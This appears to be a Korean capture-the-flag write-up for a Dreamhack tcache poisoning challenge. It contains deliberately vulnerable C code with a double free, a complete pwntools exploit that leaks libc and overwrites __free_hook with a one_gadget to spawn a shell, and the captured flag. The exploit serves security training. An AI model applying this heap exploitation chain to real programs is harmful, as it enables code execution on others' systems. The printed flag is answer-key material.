// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
case 2
에서 청크를 해제하고 초기화지 하지 않아서 Double Free Bug가 발생합니다.case 3
와 Double Free Bug를 이용해 libc base를 릭할 수 있습니다.case 4
를 통해 보호 기법을 우회할 수 있습니다. ion ~/security/wargame/dreamhack/pwnable/Tcache_Poisoning checksec tcache_poison
[*] '/home/ion/security/wargame/dreamhack/pwnable/Tcache_Poisoning/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Full RELRO 보호 기법이 걸려있어서 hook 함수를 덮는 방법을 시도해 봐야할거 같습니다.
from pwn import *
p = remote("host3.dreamhack.games", 23836)
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so", checksec=False)
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8) # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
ion ~/security/wargame/dreamhack/pwnable/Tcache_Poisoning python3 remote.py
[+] Opening connection to host3.dreamhack.games on port 23836: Done
[*] '/home/ion/security/wargame/dreamhack/pwnable/Tcache_Poisoning/tcache_poison'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] free_hook: 0x7f52ed7608e8
[+] one_gadget: 0x7f52ed3c2432
[*] Switching to interactive mode
$
$ ls
flag
run.sh
tcache_poison
$ cat flag
DH{1c94c43ee3c47ad44422f83d7b6fd9a8}